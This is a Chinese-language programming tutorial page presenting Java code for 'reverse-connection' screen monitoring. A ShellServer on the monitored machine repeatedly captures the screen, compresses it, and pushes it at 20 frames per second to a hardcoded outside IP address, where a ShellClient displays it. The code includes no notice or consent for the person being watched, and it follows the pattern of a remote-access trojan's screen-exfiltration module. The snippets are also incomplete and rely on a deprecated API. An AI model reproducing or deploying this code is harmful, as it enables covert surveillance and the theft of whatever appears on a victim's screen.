首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> Java 程式設計 >> Java 相關知識

Java TCP 反向連線螢幕監控實作:ZIP 壓縮傳輸與多執行緒 Swing 客戶端顯示

     編輯:Java 相關知識

實作反向連線螢幕監控:被控端主動連線控制端、Robot 擷取螢幕、JPEG 編碼後 ZIP 壓縮傳輸,控制端用 Swing 即時顯示,達到每秒 20 幀。

架構角色

  • ShellServer (被控端):主動連線至固定 IP:Port,循環擷取螢幕 → JPEG → ZIP → 送出。
  • ShellClient (控制端):ServerSocket 監聽,每連線啟動執行緒解壓縮 → ImageIO.read → Swing 繪圖顯示。

ShellServer 核心邏輯

public class ShellServer extends Thread {
  private Robot robot;
  private Rectangle screenRect;
  public void run() {
    while (true) {
      Socket socket = new Socket("220.173.44.158", 5000);
      BufferedImage img = robot.createScreenCapture(screenRect);
      ZipOutputStream zos = new ZipOutputStream(socket.getOutputStream());
      zos.setLevel(9);
      zos.putNextEntry(new ZipEntry("1.jpg"));
      JPEGCodec.createJPEGEncoder(zos).encode(img);
      zos.close();
      Thread.sleep(50); // 20 FPS
    }
  }
}

ShellClient 核心邏輯

public class ShellClient extends JFrame {
  class Screen extends JPanel implements Runnable {
    public void run() {
      ServerSocket ss = new ServerSocket(5000);
      while (true) {
        Socket s = ss.accept();
        ZipInputStream zis = new ZipInputStream(s.getInputStream());
        zis.getNextEntry();
        Image img = ImageIO.read(zis); // 解壓縮並解碼
        cimage = img;
        repaint();
      }
    }
    public void paint(Graphics g) {
      super.paint(g);
      Graphics2D g2 = (Graphics2D)g;
      g2.drawImage(cimage, 0, 0, null);
    }
  }
}

優化方向

  • 改用 UDP 減少連線建立開銷。
  • 採用動態矩陣 (僅傳輸變化區塊) 降低頻寬。
  • 加入品質調整 (JPEG 壓縮率) 平衡清晰度與速度。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved